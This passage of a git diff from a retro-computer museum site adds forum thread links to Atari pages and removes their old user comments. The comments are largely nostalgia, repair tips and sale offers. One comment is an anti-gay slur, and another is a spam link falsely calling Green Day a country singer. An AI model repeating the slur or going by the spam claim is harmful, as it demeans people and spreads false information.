22nd June 2013 - text: |- - Does anyone know if there is a demand for the Atari 400, never opened and the recorder (never opened also) would go for ?\ - Is there anywhere I can sell this? - - author: Ryan Madison - date: Thursday 3rd January 2013 - text: You guys are fags!!!!! - - author: Patricia Hobbs (Australia) - date: Monday 3rd October 2011 - text: I have an atari 400 which I would be happy to donate to a museum - - author: Patricia Hobbs (Australia) - date: Monday 3rd October 2011 - text: I have an atari 400 which I would be happy to donate to a museum - - author: Kostas Poularakis - date: Tuesday 20th January 2009 - text: My first computer was an Atari 400 in 1983. I loved that computer. I eventually got an Atari 800 XL with a printer and disk drive. Later on I got a modem too. That was so much fun. - - author: Jose Luis Llamas (Mexico) - date: Sunday 4th January 2009 - text: My first computer was a ATARI 400, one day a disassembly to drive a toy crane, it works!! I made a lot of experiments... those wonderful days... - - author: Peter Hurst (UK) - date: Friday 21st March 2008 - text: |- - I loved my 400 - first machine I tried hardware hacking. As stated elsewhere the Joystick ports were capapble of being used as inputs - I remember toying with test circuit and relays to try and do useful stuff. I have a recollection of a joystick port interface to something but I can't remember what. It was a really good hybrid - the 8K roms with Atari games went under the flap and loaded almost immediately, hours of Defender! - - I later bought the 1050 floppy disk for the Xl range and used it to back up roms with a little machine code bootloader for running the copies and an Atari Basic program to generate the copies. - - The machine had a hardware and software interlock on the cartridges, the flap had to be shut to power up and the rom checked a memory location for a cartridge and jumped straight to it if it found one. Turned out a simple switch on the address lines was enough to defeat the check and allowed the machine to boot normally with a cartridge in place. - - I loved the keyboard at first, but don't forget I came from a ZX-81 and the raised edges on the 400's keys made all the difference, it also lasted many years without failing. I was so sad to see the 400 go when I got an ST - - author: Dave MacLachlan (USA) - date: Saturday 21st April 2007 - text: This was the first computer I ever owned. I couldn't afford the tape cassette recorder for storing programs, so I became very adept at memorizing whatever I was working on, and retyping it to work on it some more. Fun stuff! - - author: Roy Lowenstein (USA) - date: Thursday 28th December 2006 - text: I had one of these way back when. I bought it from an employee of Atari that stuffed it with 48k. I had the printer, interface, disk drive, tape drive and modem (can't remember the brand on it) that could go up to 450 baud. The interesting thing about Atari is they had their own version of ASCII called ATASCI and could transmit graphics to other Atari machines when the rest of the world was still looking at rudimentary drawings using letters and numbers. I had a pimative bulletin board writen in assembly language that was a lot of fun. I hated that damn keyboard! - - author: J Martin (Connecticut) - date: Friday 13rd October 2006 - text: The Atari came with 8k upgradable to 16k. In fact the chips that came on the 8k systems were the same as the 16k model, except the upper half of the addresses was disabled (there were two 8K chips if I remember correctly). Supposedly these 8K chips were factory defects where there was a bad bit in the upper half. There was a simple mod (something like jumpering or replacing a diode) that would re-enable that memory, which I did. Sure enough I discovered that there was exactly one stuck bit in a byte in the upper half of RAM that would always stay 'on', which would corrupt BASIC tokens or machine code, causing the computer to freeze when it was executed. I eventually learned to work around in BASIC programs by carefully placing REM statements in BASIC code and JMPs in assembler so that the bad byte wouldn't accidentally fall in real executable code or corrupt program data. Pain in the neck, but worth it for double the memory. Eventually my dad found a replacement RAM chip for it - and everything was good. - - author: David (Oklahoma) - date: Saturday 9th April 2005 - text: After playing on the 2600(and being hooked on Activision's Stampede and others LOL) the Atari 400 was a giant leap it seemed. I remember aquiring the tape drive and playing a game called Zaxon or Zaxxon that came on a cassette tape that had to be loaded into the 400 b4 playing...i think i actually spent more time loading or trying to get it to load than actually playing the game, but when it DID work it was an awsome 3-D flight simulator kinda thing that had amazing(for the time,of course) graphics! - - author: adamofevil (usa) - date: Monday 17th January 2005 - text: |- - I am sure that a lot of you Atari users once had an Atari 8-Bit computer back in the day. Maybe you still do. You might remember a classic game called M.U.L.E. A game that you wish would have been ported over to the PC but never was. - - If you are a M.U.L.E. fan like I am, you probably used to have hordes of your friends over your house to play the best 4-man multi-player game ever written! After playing this game for hours upon hours, days upon days, years upon years, finally everyone grew up or grew apart and stopped getting together to play. - - If you are a M.U.L.E. fan like I am, you probably have done a bit of M.U.L.E. re-searching on the internet, in hopes for one day someone to create an internet capable version of this great classic. - - Well, I have some very good news for you. If you run Windows (98/XP) operating system, THE WAIT IS OVER!!! - - Thanks to the authors of the Atari800WinPlus (http://atariarea.histeria.pl/PLus/index_us.htm) and Kaillera (www.kaillera.com), you can now play the greatest multiplayer game ever made with 4 players OVER THE INTERNET! This is not a clone, it is the ORIGINAL M.U.L.E. un-modified! Same graphics, same sound, same game! The only difference is that it looks a lot better on your computer than it did on your TV back in the day! - - If this interests you, please hop on over to http://atarimule.neotechgaming.com where M.U.L.E. fans from around the world have been gathering and playing online! - - Some of our members include the authors of the most popular M.U.L.E. web sites such as World of Mule (http://www.worldofmule.net/index.htm) and Extreme MULEing (http://mule.eichberger.net/index.php) and M.U.L.E. Fans (http://www.100hosting.com/mule/). Even the creator of the recent M.U.L.E. clone game Space HoRSE (www.gilligames.com) has joined up with us! - - Ahh, the feeling of playing with 4 human players again is quite exhilirating! SO, what are you waiting for? Join us now!! http://atarimule.neotechgaming.com. - - See you there! - - Adam - - author: John Risby (Earth) - date: Monday 28th June 2004 - text: As Tristan Smith says (on the main page), the Joystick ports were I/O ports and could be used for many things. The 400 was my first home computer (I was 9 or 10). I wired up one of the ports to my bedroom door to create a computer controlled burglar alarm! - - author: Nicole Harrington (Ca, MD at the time) - date: Tuesday 11th May 2004 - text: |- - I used to work for a company that was warranty service for Atari. We started with the games then added the computers. I beleive it was 1983 that we started working on POS (point of sale) displays as they called them for atari that were the coolest thing I had ever seen. It was an Atari 400 computer on a display with a big TV. Below was a special interface board and a Pioneer laser disk player. You could walk up to the atari (which would cycle through its default come take a look message) and it would then play the appropriote response back that had been recorded on the video disk. It was quite fast. The "horrible" keyboard made it durable against spillage and such.\ - The funniest thing was there was a problem that no one could solve becouse the person who designed the 400 to video disk player interface was angry and refused to tell them how it worked. It turned out that a peice of foam was needed to stop the VD player top from opening if it thought it was at the end of the disk.\ - As far as I know this was quite ahead of its time! related: - /museum/atari-1200-xl - /museum/atari-1400-xl diff --git a/content/museum/atari-4160-ste.md b/content/museum/atari-4160-ste.md index e57e5990..35055065 100644 --- a/content/museum/atari-4160-ste.md +++ b/content/museum/atari-4160-ste.md @@ -12,6 +12,7 @@ params: - emulators - links - docs + forum_thread: 282 hardware: - title: SF-354 subtitle: Single density disk-drive @@ -309,40 +310,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Malcolm Ramage (United Kingdon) - date: Friday 22nd April 2011 - text: |- - The machine itself is just a regular STe with 4 1MB Simms, which although expensive at the time, were quite commonplace. - - The badges can be bought from eBay, so seeing one of these machine for sale is no guarantee that you are getting a ''Genuine'' developer example. - - author: Byron Followell (United States) - date: Saturday 24th April 2021 - text: The 4160STE was an actual machine produced by Atari, but it wasn''t sold to the public as such. It was a developer machine. That being said, it was nothing more than a standard 520 or 1040STE upgraded to 4MB. Atari also made the case badges available to the public for those that had upgraded their machines. I purchased a NOS 4160STE case badge for my 520STE that was upgraded to 4MB. - - author: RoninFourSeven (UK) - date: Tuesday 6th February 2018 - text: I own 2x 4160STEs, but as for provenance, they have none, since they have been assembled from parts bought from eBay and other sources. As has been said, a 4160STE is just a 520STE with 4MB RAM. You can even still buy original, NOS 4160STE case badges, so unless you have documentation that proves it to be something special, I wouldn''t take it as read that it''s anything other than an upgraded STE. - - author: Joerg (Germany) - date: Thursday 25th December 2014 - text: |- - I own an origianl Atari 4160 STf Engineering Sample! - - An 4160 STe never exists and is never sold in the World! Only the Type Stickers exists and were sold separately over the World! - - Atari decide to produce only the Mega ST 1, 2 and 4 und the following Mega STe 1, 2 and 4! - - So the 4160 STf is the only existing 1040 like ST with 4 Mb Ram on Board! - - Joerg - - author: Joe - date: Saturday 23rd February 2013 - text: The information displayed here is false. The 4160STE was sold in Europe and was not a developer only machine. Badges that say 4160STE on them can also be bought from a few retailers that still sell Atari related products so all you have to do is open any 520STE or 1040STE, upgrade it to 4 megs of RAM and change the badging to say 4160STE and voila! You are now the proud owner of a super rare "developer only" machine. - - author: loaf (Sweden) - date: Monday 23rd July 2007 - text: 4 mb in 1988? sounds impressive? - - author: j4ck (ny) - date: Tuesday 19th April 2005 - text: anyone know how many of these were built? sounds pretty rare! related: - /museum/atari-130-st-260-st - /museum/atari-520-1040-ste diff --git a/content/museum/atari-520-1040-ste.md b/content/museum/atari-520-1040-ste.md index 5ef49bc2..64826db7 100644 --- a/content/museum/atari-520-1040-ste.md +++ b/content/museum/atari-520-1040-ste.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 43 photos: - title: THE STE PROTOTYPE (?) subtitle: '' @@ -342,60 +343,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Andy Murray - date: Thursday 27th January 2011 - text: Atari 1040 ST was the bomb. Mine quit working in the early nineties because we experienced an Argentine ant infestation in our yard and they came in and built a colony in the disk drive. I still have all my software. I would love to buy a new one. Best games ever! Lots of EA stuff and a stunning VGA monitor which was hot stuff for 1987. - - author: Jeff - date: Tuesday 3rd April 2018 - text: I am the proud owner of a 1040 STE and I have just scratched the surface of what this system can do. Granted there is no comparison to today''s computers, but for its generation of systems, I feel it is the best of my 16-bit collection. Even better than the Amiga 1200...and I own one of those too. - - author: Ton - date: Friday 12th August 2016 - text: I own 2 1040 STEs, and 2 Mega ST with all the hard-drives, etc. The ''tightest'' computer for MIDI sequencing up to this day. I run Cubase MIDI, and Hybrid-Arts SMPTE-TRACK ST software, not to mention Dr.Ts, Sweet 16, etc. . One of the MEGAs also runs the ADAP-2 editing system and sampling system to this day. A bit ''slow'' but steady. None of my PCs or Macs can do as much for MIDI as the Ataris. I am keeping them all. Cheers. - - author: Harald - date: Friday 7th March 2014 - text: I notice in the user addedum below the article it says that monocrome was only available in ST High on the TV output. You couldn''t display ST High on a TV, for that you needed a monochrome VGA monitor like the SM124 or a compatible monitor. - - author: Charles Rose, AKA, Dubwise007 (England, Northamptonshire) - date: Monday 30th January 2012 - text: I still have and use my AtariSte1040 for building my tunes $dub$ not dubstep. My Atari is now 22years old and i still use it, but with the way of the world wide web now, i can not get my music to any format that people can listen too online, and so i am and have been looking for a emulator so i can use and up to date version of Que base to mix my music to a standard that others can hear online, my e mail addres is tuffgongace@yahoo.co.uk if you have possiible links that may be of use to me,, only ones that have been tried and tested please. - - author: Dark Willow (UK) - date: Saturday 10th December 2011 - text: |- - Just a correction to the article. The TOS version in the STe was "STe TOS", v1.60 and v1.62. Rainbow TOS was v1.04 and was for Mega ST and STfm systems. - - Also mention should be made of how the STe differs from it''s predecessor systems. Although they look similar to the end user, the STe is considerably upgraded. - - Expandability was improved by memory being installed in standard 30 pin SIMMS. 4 slots were provided, allowing the user to install up to 4mb RAM without needing to modify the motherboard or install any kits/hacks (which had been the nightmare of anyone who had a 520STfm - like yours truly did). - - Sound was also much improved, stereo 8-bit DMA sound rather than the Yamaha YM2149 "chip tunes" sound used before (which was kept alongside the improved sound for backwards compatibility) though only a few dedicated audio applications and "STe Enhanced" games took advantage of it, as most developers didn''t want to lock out the large market of stock ST / Mega ST users. - - author: Happysad (England) - date: Thursday 22nd March 2007 - text: |- - The ST is an amazing machine. I still have several in use running Cubase. I find the ST to be much more reliable than a PC or MAC when it come to this software. I have a 4mb STE with TOS1.62, a MEGA ST4, a 1mb ST (a bit of an oddity as it has both floppy and TV modulator!). - - Long live the ATARI ST (and Sensible Soccer !) - - author: Philip Trott (Kent) - date: Thursday 14th April 2005 - text: My Atari STe still works the only game that I found that will not work on it is Captain Blood everything else works fine I upgraded my STe to 1024 KB which helped with cutting down loading times and allowed for less drive access - - author: Darren (u) - date: Friday 8th April 2005 - text: Floppy drive is replaceable by any disk drive off the shelf, BUT you have to cut out a new hole in the case, no video output? from both the monitor out AND TV out? either one or the other should work, is the TV tuned to the correct channel? what kind of monitor are you using? - - author: Dino (France) - date: Wednesday 16th March 2005 - text: |- - 3 version of STE exist,\ - \- no Upgradale Memory\ - \- A bugged TOS 1.6\ - \- Correct TOS 1.62 - - author: D WOOD (ENGLAND) - date: Thursday 16th December 2004 - text: I HAVE RECENTLY AQUIRED A 520 STE\[UPGRADEABLE\] ONLY TROUBLE IS NO VIDEO OUTPUT COMING THROUGH TO MONITOR OR TV BUT THERE IS SOUND,ANY HELP OR ADVICE APPRECIATED THANKING YOU IN ANTICIPATION!!! - - author: A Hodson (England) - date: Friday 6th February 2004 - text: How can I fix the floppy drive? - - author: fredrik kjelman (norway) - date: Tuesday 2nd September 2003 - text: 'question: is it possible to change the resolution on the atari ste, and if possible, how?' related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-520-1040-stf-stfm.md b/content/museum/atari-520-1040-stf-stfm.md index fb4514a0..c325478f 100644 --- a/content/museum/atari-520-1040-stf-stfm.md +++ b/content/museum/atari-520-1040-stf-stfm.md @@ -59,6 +59,7 @@ params: - emulators - links - docs + forum_thread: 44 photos: - title: SAME MODELS subtitle: '' @@ -416,92 +417,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Aex Tb (Italy) - date: Saturday 21st August 2021 - text: I use a 1040 st as main sequencer with cubase 3.0... He never miss, he never crash... When i switch to pc windows based cubase i miss it soo much because soo many system crash... Now made music with pc windows is good but some time ago is a nightmare. - - author: Brosen (Switzerland) - date: Friday 17th March 2017 - text: Green Day is a famous country singer, so don''t miss the possibility to visit $a href$http://greendaytourdates.com/$Green Day concert dates$/a$ - - author: M-C (France) - date: Monday 10th February 2014 - text: |- - Hello, - - 20 yers ago, I made an modification inside my 1040 stf : now, it could work as a PC (win 95) or MAC (Sys 7.5 french)... Just for fun !\ - After 20 years, I''d like to wake up my sleeping beauty nd show it working to my kids...\ - Who''s got SCSI or IDE adaptator on asci or cartridge connector ?\ - I''m looking for schematic or buying the adaptator. - - author: Doug T. - date: Wednesday 26th December 2012 - text: Hi - yes if anyone has a 1040 ST I would definitely like to buy it! I have some old 1040 ST disks that I would like to get information from, let me know you can email me doug@bluechairmusic.com, thanks. - - author: Jamey Orsborn (USA) - date: Thursday 6th December 2012 - text: |- - I also have an old 1040 ST, along with monitor, mouse, external 30MB hard drive. Anyone interested in buying? - - Thanks! - - author: Paul S (UK) - date: Tuesday 7th February 2012 - text: |- - The 520STFM was my 3rd computer (after previously having a Commodore C16 then a ZX Spectrum 128+). I had quite a good setup, the standard mouse was replaced with a far more accurate and comfortable Naksha model, as well as a Blitz Turbo external floppy drive and a Citizen 9-pin colour printer.\ - I did a few bits of graphics and fonts for some lesser know demo groups and even a bit of Sound Tracker music with TCB Tracker, I remember getting an assembler routine that could play the mod files and incorporated that into an existing program that displayed a Spectrum 512 colour image with a scrolling message! I was so impressed with that! - - author: Mike (usa-texas) - date: Saturday 1st May 2010 - text: I have an atari st 1040 with color monitor sc1224 and mouse. Great condition, has been stored for 12 years. I have all manuals....how much can i sell it for? - - author: Thomsonicus (Poland!) - date: Saturday 21st July 2007 - text: heh, I broke quite a couple of joysticks while playing Super Street Fighter 2 on my friend's 520STfm :) - - author: Daniel (Sweden) - date: Monday 27th June 2005 - text: |- - Ahh i got a 520stm myself..still got it in its original box..unfortently its not working due to some damage on a chip and also the floppy is not working and got no mouse.\ - i upgraded it to 1mb and had around 1000+ discs with games and all kind of programs..have a few hundred left maybe less ;) I also got my cousins 1040STE..its working but have some damage keys on keyboard, and have no mouse. Damn i miss the good ol times :) ATARI RUULES FU\*\* AMIGA ;)) - - author: Robert N. (Kansas) - date: Thursday 14th April 2005 - text: |- - I had a 1040STf in high school. It was a great system, and that Mac emulator worked better than you would expect. We had Macs at school, and my friend and I used my 1040ST at home to run the Macintosh verison of Pagemaker to product our school newspaper. In fact, I remember it running a bit better on my 1040ST than it did on the Mac SE at school. - - I went all out on my ST...had both monitors and a little switch to switch between them. I also had the Supra 20 megabyte hard drive. I think that thing cost me over $700.00 when I bought it in maybe 1997 or 1998. Ouch. - - author: Henrik Jakobsen (Denmark) - date: Tuesday 3rd February 2004 - text: All of my buddies had an Amiga500. I had an Atari 520 Stfm (bought it in '89). I still have it, but the external floppydrive is malfunction, so I cant use it, though I have the FD-controller interface yet. I remember the good old days, when ST forum zine was around the shops in Denmark... I also recently found my joysticks---> what a great quality they was made of! compared to daily models. Imagine how it would be like, to play summer games on new ones! - - author: Mark P (bangor uk) - date: Tuesday 14th January 2003 - text: |- - Not sure how I ended back here, but a kweschun. Anyone know how the keyboard/mouse/joystick reading chip can be damaged and how to put it right? A local PC shop bizarrely had an ST-TV scart lead as one of the offered products on it's website, so now my atari is alive again in full RGB sharpness :) only half of the discs still work, but hey, it's enough. problem is i get maybe 5 or 10 minutes into a game, if that, and then all the inputs stop working. Gahh!! - - Looks like the only two games I can play from now on are Dynablaster and Gauntlet II, with the printer port joystick dongle.. - - author: Jan K (CZ) - date: Friday 17th May 2002 - text: |- - the Atari has 640x400 monochrome,\ - 640x200 with 4 colors and 320x200 with\ - 16 colors. Both color resolution are\ - displaylable on TV . - - author: Mark P (Bangor, UK) - date: Friday 5th April 2002 - text: |- - Mmm, still got one of these (1040) sitting in a cupboard waiting for my soldering skills to improve enough to finally make up a TV connection lead (tricky tricky) as the last known phillips monitor in the world burnt out years ago ^\_^ Fond memories, wish I could get it going and work out a way to sync it with my palmpilot.. a machine with twice the processor speed and memory! .....hrm, hands up anyone who remembers the multitude of ST video capture devices? wonder why you can't do it on a palm... :) - - On the monitor note, the official site specs box is exactly right - 320x200 in 16 colours, 640x200 in 4 colours (both from 512 palette) and 640x400 in black and white with a special monitor (why the hell TV compatibility for that wasn't available baffles me). You could stretch beyond that to higher resolutions and colours - particularly 320x240 in "512" colours - but only with very fancy programming!\ - chow... - - author: Orbus (Midwest.) - date: Thursday 7th March 2002 - text: |- - The 'Cartridge that could turn it into a Mac' was created by David Small, of 'Small Computing', and came in two flavors:\ - The original was called the 'Magic Sac', and was nothing more than a holder for two boot ROMS from a Macintosh - Everything else was done in software, and the MS wasen't capable of reading Mac Disks (They provided a transfer program that allowed you to use a macintosh via serial cables to transfer disks.)\ - The second version was called the 'Spectre GCR', and had a loop-through for the external floppy drives that enabled external floppy drives to read Mac floppies, along with much improved emulation.\ - As far as I remember, a monochrome ST with 4mb ram (System address limit) could run System 7.5 - but, with less than four MB ram, you can imagine how poorly it ran it. - - author: statusbar (Vancouver) - date: Sunday 3rd March 2002 - text: Yes, the Atari ST had 640x200 16 color graphics mode as well as 640x400 monochrome and a 320x200 256 color mode. The monochrome monitor and color monitors were seperate, and the resolutions available to you were dependant on the type of monitor you had. I used to have both. - - author: PvK (Seattle) - date: Friday 1st February 2002 - text: |- - 640 x 200 graphics mode? I don't think so. 640 x 400 yes, 640 x 200, no. - - PvK related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-520-st-st-stm.md b/content/museum/atari-520-st-st-stm.md index 46b8a7a5..059f74de 100644 --- a/content/museum/atari-520-st-st-stm.md +++ b/content/museum/atari-520-st-st-stm.md @@ -65,6 +65,7 @@ params: - emulators - links - docs + forum_thread: 40 photos: - title: ATARI 520 ST subtitle: '' @@ -311,74 +312,6 @@ params:  source : [Daves Old Computers](http://www.classiccmp.org/dunfield) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: dave (uk) - date: Tuesday 7th May 2013 - text: i played first my 520 st later 520ste and then my 1040 which im sure had more ram. i played for hours and hours and hours i used to play Overdrive, and lots arcade games. i love the football player manager and kick off. later i got a pc and it was rubish compared to the atari, atari had major competition with amiga. me and my friends used to compare our atari v amiga and argue for hours on whose was best. - - author: Jim (Canada) - date: Sunday 26th August 2012 - text: |- - I read Enrique''s comment about an ST outrunning a PC in number crunching apps. - - It reminded me of a time around 1991 when I had a graphic resembling an early screensaver running on an ST. A friend came over and seemed amazed at the speed of the travelling multi-coloured trailing lines moving around the screen. He said something to the effect that his PC couldn''t do that. - - What amused me was the fact that the program had been written in Basic, a relatively slow running language. - - author: Ed Daly (Washington, DC) - date: Wednesday 27th June 2012 - text: |- - Army privates could buy them out of the PX for $721.00\ - There was a lot of great games that could be played on this machine, one that comes with most computers today is the standard chess master called chessmaster 2000 back then. - - author: Enrique Ganem-Corevera (Mexico) - date: Monday 12th March 2012 - text: I have fond memories of this machine. It was fast, simple, elegant and incredibly powerful (I could outrun a far costlier pc in number-crushing apps). All atari computers had great graphics (the best for their times). I once compared the same games (like some ot the ULTIMA series) on PC, MAC and others, and the winner was the ST hands down. I frequently use an emulator to use my old software, and I still have my old ST, still in working condition, with a 20 MB external hard disk. - - author: derbs (UK) - date: Friday 3rd February 2012 - text: Never owned one of these, but thought they were the business back in the day. I had an Atari 800 and looked upon the ST with envy. Just look at those 45 degree function keys, mirroring the vents and badge. That was some industrial design ahead of its time - - author: Simon Lyne (United Kingdom) - date: Sunday 1st May 2011 - text: |- - http://www.classiccmp.org/dunfield/atarist/st520.pdf - - The manual for the Atari 520ST - - author: Bill (Williamsport/Pa) - date: Sunday 14th November 2010 - text: Bill(USA/Phila.Pa) Have a 520ST in original boxes and all manuals etc. If you come get it, its yours. Don''t want to throw it in dumpster. - - author: Ugo Capeto - date: Thursday 4th November 2010 - text: For budding musicians, it was kinda like the holy grail of computers since it was the first to have a MIDI port. It was big deal back then. - - author: Bill (USA/Phila. Pa.) - date: Tuesday 2nd November 2010 - text: I woulod like to buy a working 520 or 1040 st. Contact me with price and condition. - - author: Curtis Nielsen (USA) - date: Monday 1st November 2010 - text: I have a complete Atari in the box taking up space in my garage. Any market for them? - - author: Fred (Cupertino, CA) - date: Friday 27th August 2010 - text: Great machine, and my first music sequencer. There is nothing like dividing ticks in Dr. T''s music sequencing software. :-) Dungeon Master, and Sun Dog are still two of the greatest games I''ve ever played. I never did get that Macintosh Emulator, though. - - author: chris (U.K.) - date: Saturday 23rd January 2010 - text: I have a couple of these machines and run R/c Aerochopper-brilliant! For its time, it provides great entertainment, $ requires considerable concentration,especially hitting the target-any idea as to the Value of these machines-I have original manual $ packing box ? - - author: Jorge (Chile) - date: Thursday 18th August 2005 - text: |- - This was my first computer !\ - best atari ever . =D - - author: Nigel (New Zealand) - date: Tuesday 27th April 2004 - text: |- - I remember heaps of these coming in for repair because they kept crashing or simply died. The vast majority of the crashes were caused by the ill-fitting tin-plate shielding that covered both side of the board. The pressed tin would distort and catch tracks on the PCB and cause the machine to crash. The cure was to put masking or insulation tape between the edges of the shielding and the PCB, but this wasn't entirely successful, and discarding the shielding had little adverse effect. Other crash causes were poor connections on the cpu IC. Removing it and cleaning the tarnished pins usually sorted things out, unless you didn't use the proper IC extraction tool, in which case the socket cracked and caused even more grief.\ - The dead machines were usually failures of the switched-mode PSU, which was generally very difficult to repair. Failing to replace rectifiers with exactly the correct type would result in most of the electrolytics exploding. One of the Atari distributors in the UK used to offered a PSU exchange programme - send a faulty one in and get a repaired one back. - - author: John Ad.Tzoyas (U.K.) - date: Tuesday 24th February 2004 - text: |- - Had one of these machines years ago.\ - In the UK they were always seen as the poor mans Amiga. What stands out in my memory was the fantastic graphic and sounds demos you could get on public domain for it.The 16bit 'wars' which surounded both this machine and the Amiga were something else! We all aspired to a 32bit Archimides though. - - author: Mike (U.K.) - date: Saturday 2nd August 2003 - text: This machine really set a new standard in the music recording arena as it was the only computer equipped with midi in/out ports. I bought on in '86 and also bought the seperate DD for it (740K 31/4" floppies single sided) Used it mainly with a music sequencing package by Steinberg called Pro 24. At first I couldn't get used to the GUI, as all I had used previously was computers such as the ZX81 & Spectrum. A great machine!! - - author: Matt (Virginia) - date: Tuesday 5th March 2002 - text: I loved this computer...except for when I was playing a game and that line of bombs came up. :( I wonder what happened to it... related: - /museum/atari-130-st-260-st - /museum/atari-4160-ste diff --git a/content/museum/atari-5200-supersystem.md b/content/museum/atari-5200-supersystem.md index 8bba7ff1..af95b975 100644 --- a/content/museum/atari-5200-supersystem.md +++ b/content/museum/atari-5200-supersystem.md @@ -62,6 +62,7 @@ params: - hardware - software - links + forum_thread: 881 photos: - title: ATARI 5200 subtitle: '' @@ -131,39 +132,6 @@ params: - title: FAQ url: http://www.atarihq.com/5200/5200faq/index.html text: What's a system without a FAQ ? - comments: - - author: walmartcartpusher - date: Saturday 18th April 2009 - text: |- - The Masterplay 5200 Interface: - - This is THE device to have for any collector or die-hard gamer. The handy plug-in unit allows 5200 owners to replace the system''s analog joystick with any number of 2600-compatible, digital joysticks. In addition, the Interface features a slide switch so that a digital joystick can be used in either a remote ''start'' mode or a ''fire'' model depending upon the game. A second slide switch lets you keep the unit permanently connected to the console so that the analog controller functions, including the use of the keyboard portion by itself, can be accomplished simply and easily. The Masterplay Interface originally came packaged with a second fire button for games that require it. This button can either be taped or velcroed to the 2600-compatible controller. - - author: walmartcartpusher - date: Saturday 18th April 2009 - text: \*I mis-spelled Google\* - - author: walmartcartpusher (Ohio, US) - date: Saturday 18th April 2009 - text: |- - to HUMANO\ - The power adapter depends on which version of the 5200 you have. If your system has 4 controller ports on it, the adapter and RF Switch are in the same unit (sparks fly when connecting the power source by the way).\ - The other works like the 2600 switch and has 2 controller ports. - - as for the 4 port 5200 go here\ - http://www.atariage.com/5200/archives/hardware.html - - or here\ - http://www.atarihq.com/5200/index.html - - or if you want to see it actually hooked up in a video use gogle and look up "AVGN Atari 5200" - - author: Alex Martin (Seattle, WA) - date: Saturday 4th February 2006 - text: I love this console! It wasn't my first (that honor going to the interton vc 4000) but is certainly one of my favorites. I got one when the supersystem first hit stores and wiled away many an hour on it. Some people don't like this console because of the easy-to-break controllers, and the small game collection, but in my opinion its a real gem, if not for everyone. - - author: HUMANO (Frisco Bay) - date: Wednesday 3rd December 2003 - text: |- - I bought a 5200 in 83\ - I reacquire it in 2003\ - I need to know more about the power adapter. oc_id: 901 source: url: https://web.archive.org/web/20230604042713/http://www.old-computers.com/museum/computer.asp?c=901 diff --git a/content/museum/atari-600-800-xl.md b/content/museum/atari-600-800-xl.md index d692d866..f7be6a9f 100644 --- a/content/museum/atari-600-800-xl.md +++ b/content/museum/atari-600-800-xl.md @@ -65,6 +65,7 @@ params: - links - docs - videos + forum_thread: 46 photos: - title: LARGE VIEW subtitle: '' @@ -331,228 +332,6 @@ params: - title: Atari Home Computer laser disc - Conclusion url: https://www.youtube.com/watch?v=vQDQWvwZ-2w text: 'Length: 1 min 30 s' - comments: - - author: Petr Hajek (Czech Republic) - date: Friday 2nd October 2020 - text: |- - I had Atari 800XL with memory extended to 320kB (original 64 + additional 256). I did the "upgrade" by myself by some manual I found in computer magazine (sorry, cannot remember the magazine name). New memory chips was mounted over originals.\ - It worked, but not natively - special programing for memory bank switching was required.\ - As an external accessories I had:\ - \- "Alfigraf" - a plotter like printer created mainly from Meccano\ - https://www.atarimax.com/jindroush.atari.org/data/hardpics/alfi.jpg\ - http://blog.3b2.sk/igi/post/Plotter-ALFI-Alfigraf.aspx (in czech language, sorry)\ - https://www.youtube.com/watch?v$cLFLjMeJW64\ - \- BT100 printer - an one-dot printer\ - https://www.atarimax.com/jindroush.atari.org/aczhwbt.html\ - https://www.youtube.com/watch?reload$9$v$0cwn8_0KPTo - - and cassette palyer with Turbo2000 system https://www.atarimax.com/jindroush.atari.org/aturbo.html - - author: Joe Jones - date: Wednesday 21st June 2017 - text: does anyone have a picture of the jumper installation for the Rambo 256 installed in an Atari 1200XL - - author: Joe Jones (USA) - date: Wednesday 21st June 2017 - text: Does anyone have a picture of the US doubler chips for the Atari 1050 disk drive? - - author: Bartimaus (U.S.A.) - date: Thursday 2nd February 2017 - text: Would you reccomend buying the Atari 800, the 1200XL, or the 600? - - author: Deathstrike - date: Saturday 3rd September 2016 - text: As an owner of the Atari 800XL, 2 disk drives, 850 interface, 1030 modem and an Epson RX printer, I have to say out of my classic collection this is one of the best overall machines I have ever owned!!! I sometimes wish Atari had accepted Nintendo''s offer to sell the NES under its name, it would have allowed Atari to continue and who knows what they could have developed being at the top of the game and computer world!!! - - author: Eric Rousseau (Canada) - date: Tuesday 5th February 2013 - text: The Atari 6502 CPU was a custom made and incorporated "74LS245" that allowed it to disconnect from address and data bus. This allowed the Antic CPU (Display processor) to access video memory while 6502 waits. I think a HALT pin was added for this purpose or something similar. - - author: Gnu - date: Friday 1st February 2013 - text: Yes, the CPU is called the 6502C. The letter isn''t a speed bump designator like the A or B, it''s just a 6502 with a custom pinout. I don''t think it was ever used elsewhere and I think all they did was add a HALT PIN. - - author: Dean ( United Kingdom) - date: Wednesday 30th January 2013 - text: I don''t believe the prossesor was a 6502C, the 6502 was 1MHz, the 6502A was 2MHz so an A variant would have been enough to run at 1.79MHz and I remember as a kid opening the computer I was looking for the 6502 processor and there is no chip inside with the part number 6502 $ the chip wasn''t numbered 6502 it had a different part number because I believe it was a modified 6502. from what I remember I don''t think there ever was a 6502C, a manufacturer did produce an 65C02 which was a lower power CMOS version but I am fairly sure didn''t come until some time later and was not used in the Atari computers. - - author: Dean ( United Kingdom) - date: Wednesday 30th January 2013 - text: I don''t believe the prossesor was a 6502C, the 6502 was 1MHz, the 6502A was 2MHz so an A variant would have been enough to run at 1.79MHz and I remember as a kid opening the computer I was looking for the 6502 processor and there is no chip inside with the part number 6502 $ the chip wasn''t numbered 6502 it had a different part number because I believe it was a modified 6502. from what I remember I don''t think there ever was a 6502C, a manufacturer did produce an 65C02 which was a lower power CMOS version but I am fairly sure didn''t come until some time later and was not used in the Atari computers. - - author: Jim - date: Saturday 4th August 2012 - text: |- - The 800XL was a solid little 8 bit that was a capable gaming system (what a surprise!) that handled productivity apps as well. - - The thing I remember was the availability of affordable peripherals, including this unique ''letter quality'' printer that had the characters rotating on a sort of a cylindrical cam arrangement. This left the sentences and words looking a little bit 